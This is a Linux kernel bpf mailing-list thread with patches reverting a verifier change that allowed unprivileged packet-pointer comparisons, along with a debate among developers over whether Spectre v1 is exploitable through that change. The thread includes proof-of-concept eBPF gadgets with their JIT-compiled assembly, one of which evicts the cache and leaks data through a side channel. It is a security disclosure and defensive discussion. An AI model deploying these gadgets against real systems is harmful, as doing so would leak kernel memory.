lsm_cgroupbecause it is supported on cgroup2 only, while we're still using cgroup1.Another possible solution is enable
allow_ptr_leaksforcap_net_adminas well, but after I checked the commit which introduces thecap_bpfandcap_perfmon[1], I think we wouldn't like to do it.Quoted 7 lines
Quoted 4 lines
Sorry. None of these options are acceptable.
The idea of introducing a
bpf_current_capable()kfunc just to work around a deficiency in the verifier is not sound.So what should we do then?
Just enabling thecap_perfmonfor it? That does not sound as well ...Yonghong already pointed out upthread that comparison of two packet pointers is not a pointer leak. See this code:
} else if (!try_match_pkt_pointers(insn, dst_reg, ®s[insn->src_reg], this_branch, other_branch) && is_pointer_value(env, insn->dst_reg)) { verbose(env, "R%d pointer comparison prohibited\n", insn->dst_reg); return -EACCES; }It's not clear why it doesn't address your case.
Quoted 8 lines
Quoted 2 lines
It can address the issue.
It seems we should do the code change below.I presume in your actual program you also access the IP header (otherwise it would be quite useless), and as you mentioned above, you would like this to be accessible for just
CAP_BPF+CAP_NET_ADMIN. TheCAP_PERFMONrestriction is there for a reason, that is, to be on same cap level as tracing programs as you could craft Spectre v1 style access. It's not a deficiency.
Probably not. To mount v1 style attack the load of data_end needs to be attacker controlled which isn't the case here.
PATCH 1/3 Revert "selftests/bpf: Add selftest for allow_ptr_leaks"
This reverts commit 0072e3624b463636c842ad8e261f1dc91deb8c78.
The test tests behavior which can not be permitted because of Spectre v1. See the following commit
Revert "bpf: Fix issue in verifying allow_ptr_leaks"
which reverts commit d75e30dddf73449bc2d10bb8e2f1a2c446bc67a2 for a detailed description of the issue.
--- .../testing/selftests/bpf/prog_tests/tc_bpf.c | 36 +------------------ .../testing/selftests/bpf/progs/test_tc_bpf.c | 13 ------- 2 files changed, 1 insertion(+), 48 deletions(-)
tools/testing/selftests/bpf/prog_tests/tc_bpf.c +1 -35
@@ -3,7 +3,6 @@#include <test_progs.h> #include <linux/pkt_cls.h> -#include "cap_helpers.h" #include "test_tc_bpf.skel.h" #define LO_IFINDEX 1
@@ -328,7 +327,7 @@ static int test_tc_bpf_api(struct bpf_tc_hook *hook, int fd)return 0 ; } -void tc_bpf_root (void ) +void test_tc_bpf (void ) { DECLARE_LIBBPF_OPTS(bpf_tc_hook, hook, .ifindex = LO_IFINDEX, .attach_point = BPF_TC_INGRESS);
@@ -394,36 +393,3 @@ void tc_bpf_root(void) }test_tc_bpf__destroy (skel); } - -void tc_bpf_non_root (void ) -{ -struct test_tc_bpf *skel =NULL ; -__u64 caps =0 ; -int ret; - -/* In case CAP_BPF and CAP_PERFMON is not set */ - ret =cap_enable_effective (1ULL <<CAP_BPF |1ULL <<CAP_NET_ADMIN , &caps); -if (!ASSERT_OK (ret,"set_cap_bpf_cap_net_admin" )) -return ; - ret =cap_disable_effective (1ULL <<CAP_SYS_ADMIN |1ULL <<CAP_PERFMON ,NULL ); -if (!ASSERT_OK (ret,"disable_cap_sys_admin" )) - goto restore_cap; - - skel =test_tc_bpf__open_and_load (); -if (!ASSERT_OK_PTR (skel,"test_tc_bpf__open_and_load" )) - goto restore_cap; - -test_tc_bpf__destroy (skel); - -restore_cap: -if (caps) -cap_enable_effective (caps,NULL ); -} - -void test_tc_bpf (void ) -{ -if (test__start_subtest ("tc_bpf_root" )) -tc_bpf_root (); -if (test__start_subtest ("tc_bpf_non_root" )) -tc_bpf_non_root (); -}
tools/testing/selftests/bpf/progs/test_tc_bpf.c +0 -13
@@ -2,8 +2,6 @@#include <linux/bpf.h> #include <bpf/bpf_helpers.h> -#include <linux/if_ether.h> -#include <linux/ip.h> /* Dummy prog to test TC-BPF API */
@@ -12,14 +10,3 @@ int cls(struct __sk_buff *skb) {return 0 ; } - -/* Prog to verify tc-bpf without cap_sys_admin and cap_perfmon */ -SEC("tcx/ingress") -int pkt_ptr (struct __sk_buff *skb) -{ -struct iphdr *iph = (void *)(long )skb->data +sizeof (struct ethhdr ); - -if ((long )(iph +1 ) > (long )skb->data_end) -return 1 ; -return 0 ; -}
Signature · 12 lines
2.40.1 Amazon Development Center Germany GmbH Krausenstr. 38 10117 Berlin Geschaeftsfuehrung: Christian Schlaeger, Jonathan Weiss Eingetragen am Amtsgericht Charlottenburg unter HRB 149173 B Sitz: Berlin Ust-ID: DE 289 237 879
Re: [PATCH 1/3] Revert "selftests/bpf: Add selftest for allow_ptr_leaks"
This series was applied to bpf/bpf.git (master) by Daniel Borkmann <[email protected]>:
Hello:
This series was applied to bpf/bpf.git (master)
by Daniel Borkmann <[email protected]>:
Quoted 8 lines · On Wed, 13 Sep 2023 12:25:15 +0000 you wrote:
This reverts commit
0072e3624b463636c842ad8e261f1dc91deb8c78.The test tests behavior which can not be permitted because of Spectre v1. See the following commit
Revert "bpf: Fix issue in verifying
allow_ptr_leaks"[...]
Here is the summary with links:
- [1/3] Revert "selftests/bpf: Add selftest for allow_ptr_leaks"
https://git.kernel.org/bpf/bpf/c/cc7a599ca30f - [2/3] Revert "bpf: Fix issue in verifying allow_ptr_leaks" https://git.kernel.org/bpf/bpf/c/45f2aaba1079 - [3/3] selftests/bpf: Add selftest for packet-pointer Spectre v1 gadget https://git.kernel.org/bpf/bpf/c/fc7274e42d14
You are awesome, thank you!
Signature · 2 lines
Deet-doot-dot, I am a bot. https://korg.docs.kernel.org/patchwork/pwbot.html
PATCH 2/3 Revert "bpf: Fix issue in verifying allow_ptr_leaks"
In reply to Alexei StarovoitovThis reverts commit d75e30dddf73449bc2d10bb8e2f1a2c446bc67a2.
To mitigate Spectre v1, the verifier relies on static analysis to deduct constant pointer bounds, which can then be enforced by rewriting pointer arithmetic [1] or index masking [2]. This relies on the fact that every memory region to be accessed has a static upper bound and every date below that bound is accessible. The verifier can only rewrite pointer arithmetic or insert masking instructions to mitigate Spectre v1 if a static upper bound, below of which every access is valid, can be given.
When allowing packet pointer comparisons, this introduces a way for the program to effectively construct an accessible pointer for which no static upper bound is known. Intuitively, this is obvious as a packet might be of any size and therefore 0 is the only statically known upper bound below of which every date is always accessible (i.e., none).
To clarify, the problem is not that comparing two pointers can be used for pointer leaks in the same way in that comparing a pointer to a known scalar can be used for pointer leaks. That is because the "secret" components of the addresses cancel each other out if the pointers are into the same region.
With [3] applied, the following malicious BPF program can be loaded into the kernel without CAP_PERFMON:
r2 = *(u32 *)(r1 + 76) // data
r3 = *(u32 *)(r1 + 80) // data_end
r4 = r2
r4 += 1
if r4 > r3 goto exit
r5 = *(u8 *)(r2 + 0) // speculatively read secret
r5 &= 1 // choose bit to leak
// ... side channel to leak secret bit
exit:
// ...
This is jited to the following amd64 code which still contains the gadget:
0: endbr64 4: nopl 0x0(%rax,%rax,1) 9: xchg %ax,%ax b: push %rbp c: mov %rsp,%rbp f: endbr64 13: push %rbx 14: mov 0xc8(%rdi),%rsi // data 1b: mov 0x50(%rdi),%rdx // data_end 1f: mov %rsi,%rcx 22: add $0x1,%rcx 26: cmp %rdx,%rcx 29: ja 0x000000000000003f // branch to mispredict 2b: movzbq 0x0(%rsi),%r8 // speculative load of secret 30: and $0x1,%r8 // choose bit to leak 34: xor %ebx,%ebx 36: cmp %rbx,%r8 39: je 0x000000000000003f // branch based on secret 3b: imul $0x61,%r8,%r8 // leak using port contention side channel 3f: xor %eax,%eax 41: pop %rbx 42: leaveq 43: retq
Here I'm using a port contention side channel because storing the secret to the stack causes the verifier to insert an lfence for unrelated reasons (SSB mitigation) which would terminate the speculation.
As Daniel already pointed out to me, data_end is even attacker controlled as one could send many packets of sufficient length to train the branch prediction into assuming data_end >= data will never be true. When the attacker then sends a packet with insufficient data, the Spectre v1 gadget leaks the chosen bit of some value that lies behind data_end.
To make it clear that the problem is not the pointer comparison but the missing masking instruction, it can be useful to transform the code above into the following equivalent pseudocode:
r2 = data
r3 = data_end
r6 = ... // index to access, constant does not help
r7 = data_end - data // only known at runtime, could be [0,PKT_MAX) if !(r6 < r7) goto exit
// no masking of index in r6 happens
r2 += r6 // addr. to access
r5 = *(u8 *)(r2 + 0) // speculatively read secret
// ... leak secret as above
One idea to resolve this while still allowing for unprivileged packet access would be to always allocate a power of 2 for the packet data and then also pass the respective index mask in the skb structure. The verifier would then have to check that this index mask is always applied to the offset before a packet pointer is dereferenced. This patch does not implement this extension, but only reverts [3].
[1] 979d63d50c0c0f7bc537bf821e056cc9fe5abd38 ("bpf: prevent out of bounds speculation on pointer arithmetic")
[2] b2157399cc9898260d6031c5bfe45fe137c1fbe7 ("bpf: prevent out-of-bounds speculation")
[3] d75e30dddf73449bc2d10bb8e2f1a2c446bc67a2 ("bpf: Fix issue in verifying allow_ptr_leaks")
--- kernel/bpf/verifier.c | 17 ++++++++--------- 1 file changed, 8 insertions(+), 9 deletions(-)
kernel/bpf/verifier.c +8 -9
@@ -14050,12 +14050,6 @@ static int check_cond_jmp_op(struct bpf_verifier_env *env,return -EINVAL ; } -/* check src2 operand */ - err =check_reg_arg (env, insn->dst_reg,SRC_OP ); -if (err) -return err; - - dst_reg = ®s[insn->dst_reg];if (BPF_SRC (insn->code) ==BPF_X ) {if (insn->imm !=0 ) {verbose (env,"BPF_JMP/JMP32 uses reserved fields\n" );
@@ -14067,13 +14061,12 @@ static int check_cond_jmp_op(struct bpf_verifier_env *env,if (err)return err; - src_reg = ®s[insn->src_reg]; -if (!(reg_is_pkt_pointer_any (dst_reg) &®_is_pkt_pointer_any (src_reg)) && -is_pointer_value (env, insn->src_reg)) { +if (is_pointer_value (env, insn->src_reg)) {verbose (env,"R%d pointer comparison prohibited\n" , insn->src_reg);return -EACCES ; } + src_reg = ®s[insn->src_reg]; }else {if (insn->src_reg !=BPF_REG_0 ) {verbose (env,"BPF_JMP/JMP32 uses reserved fields\n" );
@@ -14081,6 +14074,12 @@ static int check_cond_jmp_op(struct bpf_verifier_env *env, } } +/* check src2 operand */ + err =check_reg_arg (env, insn->dst_reg,SRC_OP ); +if (err) +return err; + + dst_reg = ®s[insn->dst_reg]; is_jmp32 =BPF_CLASS (insn->code) ==BPF_JMP32 ;if (BPF_SRC (insn->code) ==BPF_K ) {
Signature · 12 lines
2.40.1 Amazon Development Center Germany GmbH Krausenstr. 38 10117 Berlin Geschaeftsfuehrung: Christian Schlaeger, Jonathan Weiss Eingetragen am Amtsgericht Charlottenburg unter HRB 149173 B Sitz: Berlin Ust-ID: DE 289 237 879
Re: [PATCH 2/3] Revert "bpf: Fix issue in verifying allow_ptr_leaks"
Quoted 68 lines · Luis Gerhorst
This reverts commit
d75e30dddf73449bc2d10bb8e2f1a2c446bc67a2.To mitigate Spectre v1, the verifier relies on static analysis to deduct constant pointer bounds, which can then be enforced by rewriting pointer arithmetic [1] or index masking [2]. This relies on the fact that every memory region to be accessed has a static upper bound and every date below that bound is accessible. The verifier can only rewrite pointer arithmetic or insert masking instructions to mitigate Spectre v1 if a static upper bound, below of which every access is valid, can be given.
When allowing packet pointer comparisons, this introduces a way for the program to effectively construct an accessible pointer for which no static upper bound is known. Intuitively, this is obvious as a packet might be of any size and therefore 0 is the only statically known upper bound below of which every date is always accessible (i.e., none).
To clarify, the problem is not that comparing two pointers can be used for pointer leaks in the same way in that comparing a pointer to a known scalar can be used for pointer leaks. That is because the "secret" components of the addresses cancel each other out if the pointers are into the same region.
With [3] applied, the following malicious BPF program can be loaded into the kernel without
CAP_PERFMON:r2 = *(u32 *)(r1 + 76) // data
r3 = *(u32 *)(r1 + 80) //data_end
r4 = r2
r4 += 1
if r4 > r3 goto exit
r5 = *(u8 *)(r2 + 0) // speculatively read secret
r5 &= 1 // choose bit to leak
// ... side channel to leak secret bit
exit:
// ...This is jited to the following amd64 code which still contains the gadget:
0: endbr64 4: nopl 0x0(%rax,%rax,1) 9: xchg %ax,%ax b: push %rbp c: mov %rsp,%rbp f: endbr64 13: push %rbx 14: mov 0xc8(%rdi),%rsi // data 1b: mov 0x50(%rdi),%rdx // data_end 1f: mov %rsi,%rcx 22: add $0x1,%rcx 26: cmp %rdx,%rcx 29: ja 0x000000000000003f // branch to mispredict 2b: movzbq 0x0(%rsi),%r8 // speculative load of secret 30: and $0x1,%r8 // choose bit to leak 34: xor %ebx,%ebx 36: cmp %rbx,%r8 39: je 0x000000000000003f // branch based on secret 3b: imul $0x61,%r8,%r8 // leak using port contention side channel 3f: xor %eax,%eax 41: pop %rbx 42: leaveq 43: retqHere I'm using a port contention side channel because storing the secret to the stack causes the verifier to insert an lfence for unrelated reasons (SSB mitigation) which would terminate the speculation.
Quoted 6 lines
As Daniel already pointed out to me,
data_endis even attacker controlled as one could send many packets of sufficient length to train the branch prediction into assumingdata_end>= data will never be true. When the attacker then sends a packet with insufficient data, the Spectre v1 gadget leaks the chosen bit of some value that lies behinddata_end.
The above analysis is correct, but unlike traditional spec_v1 the attacker doesn't control data/data_end.
The attack can send many large packets to train that data + X < data_end and then send a small packet where CPU will mispredict that branch and data + X will speculatively read past data_end,
so the attacker can extract a bit past data_end,
but data/data_end themselves cannot be controlled.
So whether this bit 0 or 1 has no bearing.
The attack cannot be repeated for the same location.
The attacker can read one bit 8 times in a row and all of them will be from different locations in the memory.
Same as reading 8 random bits from 8 random locations.
Hence I don't think this revert is necessary.
I don't believe you can craft an actual exploit.
Your patch 3 says:
/* Speculative access to be prevented. */
+ char secret = *((char *) iph);
+
+ /* Leak the first bit of the secret value that lies behind data_end to a
+ * SMP silbling thread that also executes imul instructions. If the bit
+ * is 1, the silbling will experience a slowdown. */
+ long long x = secret;
+ if (secret & 1) {
+ x *= 97;
+ }
the comment is correct, but speculative access alone is not enough to leak data.
Daniel Borkmann
maintainerRe: [PATCH 2/3] Revert "bpf: Fix issue in verifying allow_ptr_leaks"
Quoted 103 lines · Alexei Starovoitov
Quoted 68 lines · Luis Gerhorst
This reverts commit
d75e30dddf73449bc2d10bb8e2f1a2c446bc67a2.To mitigate Spectre v1, the verifier relies on static analysis to deduct constant pointer bounds, which can then be enforced by rewriting pointer arithmetic [1] or index masking [2]. This relies on the fact that every memory region to be accessed has a static upper bound and every date below that bound is accessible. The verifier can only rewrite pointer arithmetic or insert masking instructions to mitigate Spectre v1 if a static upper bound, below of which every access is valid, can be given.
When allowing packet pointer comparisons, this introduces a way for the program to effectively construct an accessible pointer for which no static upper bound is known. Intuitively, this is obvious as a packet might be of any size and therefore 0 is the only statically known upper bound below of which every date is always accessible (i.e., none).
To clarify, the problem is not that comparing two pointers can be used for pointer leaks in the same way in that comparing a pointer to a known scalar can be used for pointer leaks. That is because the "secret" components of the addresses cancel each other out if the pointers are into the same region.
With [3] applied, the following malicious BPF program can be loaded into the kernel without
CAP_PERFMON:r2 = *(u32 *)(r1 + 76) // data
r3 = *(u32 *)(r1 + 80) //data_end
r4 = r2
r4 += 1
if r4 > r3 goto exit
r5 = *(u8 *)(r2 + 0) // speculatively read secret
r5 &= 1 // choose bit to leak
// ... side channel to leak secret bit
exit:
// ...This is jited to the following amd64 code which still contains the gadget:
0: endbr64 4: nopl 0x0(%rax,%rax,1) 9: xchg %ax,%ax b: push %rbp c: mov %rsp,%rbp f: endbr64 13: push %rbx 14: mov 0xc8(%rdi),%rsi // data 1b: mov 0x50(%rdi),%rdx // data_end 1f: mov %rsi,%rcx 22: add $0x1,%rcx 26: cmp %rdx,%rcx 29: ja 0x000000000000003f // branch to mispredict 2b: movzbq 0x0(%rsi),%r8 // speculative load of secret 30: and $0x1,%r8 // choose bit to leak 34: xor %ebx,%ebx 36: cmp %rbx,%r8 39: je 0x000000000000003f // branch based on secret 3b: imul $0x61,%r8,%r8 // leak using port contention side channel 3f: xor %eax,%eax 41: pop %rbx 42: leaveq 43: retqHere I'm using a port contention side channel because storing the secret to the stack causes the verifier to insert an lfence for unrelated reasons (SSB mitigation) which would terminate the speculation.
Quoted 6 lines
As Daniel already pointed out to me,
data_endis even attacker controlled as one could send many packets of sufficient length to train the branch prediction into assumingdata_end>= data will never be true. When the attacker then sends a packet with insufficient data, the Spectre v1 gadget leaks the chosen bit of some value that lies behinddata_end.The above analysis is correct, but unlike traditional
spec_v1the attacker doesn't control data/data_end.
The attack can send many large packets to train that data + X <data_endand then send a small packet where CPU will mispredict that branch and data + X will speculatively read pastdata_end,
so the attacker can extract a bit pastdata_end,
but data/data_end themselves cannot be controlled.
So whether this bit 0 or 1 has no bearing.
The attack cannot be repeated for the same location.
The attacker can read one bit 8 times in a row and all of them will be from different locations in the memory.
Same as reading 8 random bits from 8 random locations.
Hence I don't think this revert is necessary.
I don't believe you can craft an actual exploit.Your patch 3 says:
/* Speculative access to be prevented. */(quoted diff) +9
-0+ char secret = *((char *) iph); + + /* Leak the first bit of the secret value that lies behind data_end to a + * SMP silbling thread that also executes imul instructions. If the bit + * is 1, the silbling will experience a slowdown. */ + long long x = secret; + if (secret & 1) { + x *= 97; + }
Quoted 2 lines
the comment is correct, but speculative access alone is not enough to leak data.
What you write makes sense, it will probably be hard to craft an exploit. Where it's a bit more of an unknown to me is whether struct skb_shared_info could have e.g. destructor_arg rather static (at last the upper addr bits) so that you would leak out kernel addresses.
Re: [PATCH 2/3] Revert "bpf: Fix issue in verifying allow_ptr_leaks"
Quoted 105 lines · Daniel Borkmann
Quoted 103 lines · Alexei Starovoitov
Quoted 68 lines · Luis Gerhorst
This reverts commit
d75e30dddf73449bc2d10bb8e2f1a2c446bc67a2.To mitigate Spectre v1, the verifier relies on static analysis to deduct constant pointer bounds, which can then be enforced by rewriting pointer arithmetic [1] or index masking [2]. This relies on the fact that every memory region to be accessed has a static upper bound and every date below that bound is accessible. The verifier can only rewrite pointer arithmetic or insert masking instructions to mitigate Spectre v1 if a static upper bound, below of which every access is valid, can be given.
When allowing packet pointer comparisons, this introduces a way for the program to effectively construct an accessible pointer for which no static upper bound is known. Intuitively, this is obvious as a packet might be of any size and therefore 0 is the only statically known upper bound below of which every date is always accessible (i.e., none).
To clarify, the problem is not that comparing two pointers can be used for pointer leaks in the same way in that comparing a pointer to a known scalar can be used for pointer leaks. That is because the "secret" components of the addresses cancel each other out if the pointers are into the same region.
With [3] applied, the following malicious BPF program can be loaded into the kernel without
CAP_PERFMON:r2 = *(u32 *)(r1 + 76) // data
r3 = *(u32 *)(r1 + 80) //data_end
r4 = r2
r4 += 1
if r4 > r3 goto exit
r5 = *(u8 *)(r2 + 0) // speculatively read secret
r5 &= 1 // choose bit to leak
// ... side channel to leak secret bit
exit:
// ...This is jited to the following amd64 code which still contains the gadget:
0: endbr64 4: nopl 0x0(%rax,%rax,1) 9: xchg %ax,%ax b: push %rbp c: mov %rsp,%rbp f: endbr64 13: push %rbx 14: mov 0xc8(%rdi),%rsi // data 1b: mov 0x50(%rdi),%rdx // data_end 1f: mov %rsi,%rcx 22: add $0x1,%rcx 26: cmp %rdx,%rcx 29: ja 0x000000000000003f // branch to mispredict 2b: movzbq 0x0(%rsi),%r8 // speculative load of secret 30: and $0x1,%r8 // choose bit to leak 34: xor %ebx,%ebx 36: cmp %rbx,%r8 39: je 0x000000000000003f // branch based on secret 3b: imul $0x61,%r8,%r8 // leak using port contention side channel 3f: xor %eax,%eax 41: pop %rbx 42: leaveq 43: retqHere I'm using a port contention side channel because storing the secret to the stack causes the verifier to insert an lfence for unrelated reasons (SSB mitigation) which would terminate the speculation.
Quoted 6 lines
As Daniel already pointed out to me,
data_endis even attacker controlled as one could send many packets of sufficient length to train the branch prediction into assumingdata_end>= data will never be true. When the attacker then sends a packet with insufficient data, the Spectre v1 gadget leaks the chosen bit of some value that lies behinddata_end.The above analysis is correct, but unlike traditional
spec_v1the attacker doesn't control data/data_end.
The attack can send many large packets to train that data + X <data_endand then send a small packet where CPU will mispredict that branch and data + X will speculatively read pastdata_end,
so the attacker can extract a bit pastdata_end,
but data/data_end themselves cannot be controlled.
So whether this bit 0 or 1 has no bearing.
The attack cannot be repeated for the same location.
The attacker can read one bit 8 times in a row and all of them will be from different locations in the memory.
Same as reading 8 random bits from 8 random locations.
Hence I don't think this revert is necessary.
I don't believe you can craft an actual exploit.Your patch 3 says:
/* Speculative access to be prevented. */(quoted diff) +9
-0+ char secret = *((char *) iph); + + /* Leak the first bit of the secret value that lies behind data_end to a + * SMP silbling thread that also executes imul instructions. If the bit + * is 1, the silbling will experience a slowdown. */ + long long x = secret; + if (secret & 1) { + x *= 97; + }
Quoted 7 lines
Quoted 2 lines
the comment is correct, but speculative access alone is not enough to leak data.
What you write makes sense, it will probably be hard to craft an exploit. Where it's a bit more of an unknown to me is whether struct
skb_shared_infocould have e.g.destructor_argrather static (at last the upper addr bits) so that you would leak out kernel addresses.
You mean since skb_shared_info is placed after skb->end and in zero copy case destructor_arg may be initialized with the same kernel pointer for multiple skb-s ?
The attacker cannot construct the address from data_end. The verifier explicitly prohibits any ALU with PTR_TO_PACKET_END. But the attacker can do skb->data + X.
The idea is that they can train the branch to mispredict with a large packet and then send a small one so that shared_info after skb->end has the same uarg pointer in all packets? So every skb->data+X is a different location, but all of them point to data that has uarg==destructor_arg ?
That would be feasible in theory, but in order to speculate the loads the branch mispredict has to be reliable.
The spec v1 attack requires one of two loads feeding
into compare operation has to be slow.
In this case both data and data_end loads are going to be fast. The attacker cannot evict skb->data or skb->data_end from cache. Remember that we rearranged 'max_entries' field in struct bpf_map specifically to be in the different cache line vs fields controlled by user space. It was the necessary part of spec v1 attack.
So I still believe this revert is unnecessary and this speculative execution is not exploitable.
Re: [PATCH 2/3] Revert "bpf: Fix issue in verifying allow_ptr_leaks"
Quoted 12 lines · Alexei Starovoitov
You mean since
skb_shared_infois placed afterskb->endand in zero copy casedestructor_argmay be initialized with the same kernel pointer for multiple skb-s ?
The attacker cannot construct the address fromdata_end. The verifier explicitly prohibits any ALU withPTR_TO_PACKET_END. But the attacker can doskb->data+ X.
The idea is that they can train the branch to mispredict with a large packet and then send a small one so thatshared_infoafterskb->endhas the same uarg pointer in all packets? So every skb->data+X is a different location, but all of them point to data that has uarg==destructor_arg ?
Quoted 6 lines
That would be feasible in theory, but in order to speculate the loads the branch mispredict has to be reliable.
The spec v1 attack requires one of two loads feeding
into compare operation has to be slow.
In this case both data anddata_endloads are going to be fast. The attacker cannot evictskb->dataorskb->data_endfrom cache.
It is true that this is not easily possible using the method most exploits use, at least to my knowledge (i.e., accessing the same address from another core). However, it is still possible to evict the cacheline with skb->data/data_end from the cache in between the loads by iterating over a large map using bpf_loop(). Then the load of skb->data_end would be slow while skb->data is readily available in a callee-saved register.
For a CPU with 64KiB of per-core L1 cache all 64-byte cachelines can be evicted by iterating over a 64KiB array using 64-byte increments, that's only 1k iterations. Meanwhile, skb->data can be safe in r15 as this is not used by bpf_loop() and bpf_map_lookup_elem(). Even evicting the L2 cache might be possible as bpf_loop() currently has a iteration limit of 8 million. To extend that, userspace could work on evicting the L3 cache from other cores and make the speculation window even larger. This would of course slow the whole reading process down, but in return you can also leak more data by indexing into the leak-array using a full byte.
For reference, here's the full program and assembly it is jited to:
static long callback_fn(__u32 index, void *ctx) {
__u32 key = index * 8;
__u64 *value = bpf_map_lookup_elem(&evictmap, &key);
if (value) {
*value = 2 * *value;
return 0;
}
return 1;
}SEC("tcx/ingress")__naked void pkt_ptr(void)
{
// +76: data
// +80: data_end
asm volatile (" \r6 = 0; \
r7 = r1; \
prepare_data_%=: \
r8 = *(u32 *)(r1 + 76); \
r9 = r8; \
r9 += 34; \
evict_loop_%=: \
w1 = 1024; \
r2 = %[callback_fn] ll; \
r3 = 0; \
*(u64 *)(r10 - 8) = r3; \
r3 = r10; \
r3 += -8; \
r4 = 0; \
call %[bpf_loop]; \
gadget_%=: \
r2 = *(u32 *)(r7 + 80); \
if r2 <= r9 goto exit_%=; \
r5 = *(u8 *)(r7 + 14); \
*(u64*)(r10 - 8) = r5; \
r2 = r10; \
r2 += -8; \
r1 = %[leakmap] ll; \
call %[bpf_map_lookup_elem]; \
if r0 == 0 goto exit_%=; \
r6 = *(u64 *)(r0 + 0); \
exit_%=: r0 = r6; \
exit; \
" :
: __imm_addr(leakmap), __imm_addr(callback_fn), __imm(bpf_loop), __imm(bpf_map_lookup_elem) : __clobber_all); }
bpf_prog_64fe264baec539aa_pkt_ptr:
; asm volatile (" \
0: endbr64 4: nopl 0x0(%rax,%rax,1) 9: xchg %ax,%ax b: push %rbp c: mov %rsp,%rbp f: endbr64 13: sub $0x20,%rsp 1a: push %rbx 1b: push %r13 1d: push %r14 1f: push %r15 21: xor %ebx,%ebx 23: mov %rdi,%r13 26: mov 0xc8(%rdi),%r14 2d: mov %r14,%r15 30: add $0x22,%r15 // data prepared 34: mov $0x2000,%edi 39: movabs $0xffffffffc01d09b0,%rsi 43: xor %edx,%edx 45: mov %rdx,-0x8(%rbp) 49: lfence 4c: mov %rbp,%rdx 4f: add $0xfffffffffffffff8,%rdx 53: xor %ecx,%ecx 55: cmp $0x800000,%rdi 5c: jbe 0x0000000000000065 5e: mov $0xfffffff9,%eax 63: jmp 0x00000000000000a2 65: mov %rbx,-0x20(%rbp) 69: mov %r13,-0x18(%rbp) 6d: mov %r14,-0x10(%rbp) 71: mov %rdi,%rbx 74: xor %r13d,%r13d 77: mov %rdx,%r14 7a: cmp %rbx,%r13 7d: jae 0x0000000000000093 7f: mov %r13,%rdi 82: mov %r14,%rsi 85: callq 0x0000000000000148 8a: add $0x1,%r13 8e: test %rax,%rax 91: je 0x000000000000007a 93: mov %r13,%rax 96: mov -0x20(%rbp),%rbx 9a: mov -0x18(%rbp),%r13 9e: mov -0x10(%rbp),%r14 a2: mov 0x50(%r13),%rsi // load data_end a6: cmp %r15,%rsi // use of data_end and data a9: jbe 0x00000000000000f7 // to mispredict ab: movzwq 0x7c(%r13),%r8 // use of data b0: shr $0x10,%r8d b4: and $0xff,%r8d bb: mov %r8,-0x8(%rbp) bf: mov %rbp,%rsi c2: add $0xfffffffffffffff8,%rsi c6: movabs $0xffffb85680acd000,%rdi d0: add $0x210,%rdi d7: mov 0x0(%rsi),%eax da: cmp $0x20000,%rax e1: jae 0x00000000000000ec e3: shl $0x3,%rax e7: add %rdi,%rax ea: jmp 0x00000000000000ee ec: xor %eax,%eax ee: test %rax,%rax f1: je 0x00000000000000f7 f3: mov 0x0(%rax),%rbx f7: mov %rbx,%rax fa: pop %r15 fc: pop %r14 fe: pop %r13 100: pop %rbx 101: leaveq 102: retq
long callback_fn(__u32 index, void * ctx):bpf_prog_8e1ec5bf965fdd4a_callback_fn:
; __u32 key = index * 8;
0: endbr64
4: nopl 0x0(%rax,%rax,1)
9: xchg %ax,%ax
b: push %rbp
c: mov %rsp,%rbp
f: endbr64
13: sub $0x8,%rsp
1a: shl $0x3,%edi
; __u32 key = index * 8;
1d: mov %edi,-0x4(%rbp)
20: lfence
23: mov %rbp,%rsi
;
26: add $0xfffffffffffffffc,%rsi
; __u64 *value = bpf_map_lookup_elem(&evictmap, &key);
2a: movabs $0xffffb85680a01000,%rdi
34: add $0x210,%rdi
3b: mov 0x0(%rsi),%eax
3e: cmp $0x1000,%rax
45: jae 0x0000000000000050
47: shl $0x3,%rax
4b: add %rdi,%rax
4e: jmp 0x0000000000000052
50: xor %eax,%eax
52: mov $0x1,%edi
; if (value) {
57: test %rax,%rax
5a: je 0x0000000000000069; *value = 2 * *value;
5c: mov 0x0(%rax),%rdi
; *value = 2 * *value;
60: shl %rdi
; *value = 2 * *value;
63: mov %rdi,0x0(%rax) 67: xor %edi,%edi ; } 69: mov %rdi,%rax 6c: leaveq 6d: retq
Quoted 3 lines
Remember that we rearranged '
max_entries' field in structbpf_mapspecifically to be in the different cache line vs fields controlled by user space. It was the necessary part of spec v1 attack.
Signature · 11 lines
Luis Amazon Development Center Germany GmbH Krausenstr. 38 10117 Berlin Geschaeftsfuehrung: Christian Schlaeger, Jonathan Weiss Eingetragen am Amtsgericht Charlottenburg unter HRB 149173 B Sitz: Berlin Ust-ID: DE 289 237 879
Re: [PATCH 2/3] Revert "bpf: Fix issue in verifying allow_ptr_leaks"
Quoted 7 lines · Luis Gerhorst
It is true that this is not easily possible using the method most exploits use, at least to my knowledge (i.e., accessing the same address from another core). However, it is still possible to evict the cacheline with skb->data/data_end from the cache in between the loads by iterating over a large map using
bpf_loop(). Then the load ofskb->data_endwould be slow whileskb->datais readily available in a callee-saved register.
...
Quoted 4 lines
call %[bpf_loop]; \
gadget_%=: \
r2 = *(u32 *)(r7 + 80); \
if r2 <= r9 goto exit_%=; \
r9 is supposed to be available in the callee-saved register? :) I think you're missing that it is _callee_ saved.
If that bpf_loop indeed managed to flush L1 cache the refill of r9 in the epilogue would be a cache miss.
And r7 will be a cache miss as well.
So there is no chance cpu will execute 'if r2 <= r9' speculatively.
I have to agree that the above approach sounds plausible in theory and I've never seen anyone propose to mispredict a branch this way. Which also means that no known speculation attack was crafted. I suspect that's a strong sign that
the above approach is indeed a theory and it doesn't work in practice. Likely because the whole cache is flushed the subsequent misses will spoil all speculation. For spec v1 to work you need only one slow load in one side of that branch.
The other load and the speculative code after should not miss. When it does the spec code won't be able to leave the breadcrumbs of the leaked bit in the cache.
'Leak full byte' is also 'wishful thinking' imo.
I haven't seen any attack that leaks byte at-a-time.
So I will insist on seeing a full working exploit before doing anything else here. It's good to discuss this cpu speculation concerns, but we have to stay practical.
Even removing bpf from the picture there is so much code in the network core that checks packet boundaries. One can find plenty of cases of 'read past skb->end' under speculation and I'm arguing none of them are exploitable.
Re: [PATCH 2/3] Revert "bpf: Fix issue in verifying allow_ptr_leaks"
Quoted 2 lines · On Tue, 19 Sep 2023 01:57:21 -0700 Alexei Starovoitov wrote:
r9 is supposed to be available in the callee-saved register? :) I think you're missing that it is _callee_ saved.
I'm sorry I guess this was not clear enough, the idea was that this register is not used by the callee, and therefore it also does not have to be restored. Anyway, this does not appear to be important (I guess because the return has to pull the stack into the cache anyway), see below.
Quoted 19 lines
If that
bpf_loopindeed managed to flush L1 cache the refill of r9 in the epilogue would be a cache miss.
And r7 will be a cache miss as well.
